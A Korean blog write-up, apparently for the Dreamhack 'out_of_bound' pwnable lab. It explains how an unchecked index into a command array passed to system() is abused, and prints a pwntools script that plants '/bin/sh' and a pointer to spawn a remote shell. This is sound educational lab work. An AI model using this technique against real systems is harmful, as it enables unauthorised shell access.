Enviroment
Ubuntu 16.04
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
코드 분석
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
코드를 쭉 읽어보니scanf("%d", &idx);system(command[idx])
여기에 입력 검증이 없다는 것을 알 수 있다.
그러면 위에 name 에 /bin/sh를 치고 그 부분을 읽게 하면 될거같다
Admin name을 입력 받는 곳에 브레이크를 걸고,
어디에 저장되는지 봐두자. 파이가 꺼져있으니 항상 같은 주소에 있다.
0x804a0ac 에 저장된다는 것을 알았으니 이제 command 의 베이스 주소를 찾아보면
0x804a060에 command의 베이스 주소가 있다는 것을 알 수 있다.
이걸로 76바이트 떨어진, command[19] 를 보면 되겠다.
그래서 /bin/sh를 넣고 idx=19를 해보면,
제대로 안들어가진다.
4바이트만 들어갈 수 있으니 중간에 잘리게 된다.
그러니 system(0x804a0ac) 으로 주소 안에 "/bin/sh\x00" 값을 모두 읽을 수 있게 해주자
command 베이스주소랑 76 + 8바이트가 차이나면 되니까 idx=21 을 해주면 된다
익스플로잇 코드
from pwn import *
p = remote("host3.dreamhack.games", 9314)
#p = process('./out_of_bound')
payload = b"/bin/sh\x00" + p32(0x804a0ac)
p.sendline(payload)
p.sendline(b"21")
p.interactive()
성공이다
'Dreamhack > Pwnable 문제 풀이' 카테고리의 다른 글
| [Pwnable Advanced] Exercise: basic_exploitation_002 & basic_exploitation_003 (0) | 2026.04.15 |
|---|---|
| [Pwnable Advanced] Exploit Tech: Format String Bug (0) | 2026.04.15 |
| [Pwnable] ssp_001 (0) | 2026.04.15 |
| [Pwnable] basic_rop_x86 (0) | 2026.04.15 |
| [Pwnable] basic_rop_x64 (0) | 2026.04.15 |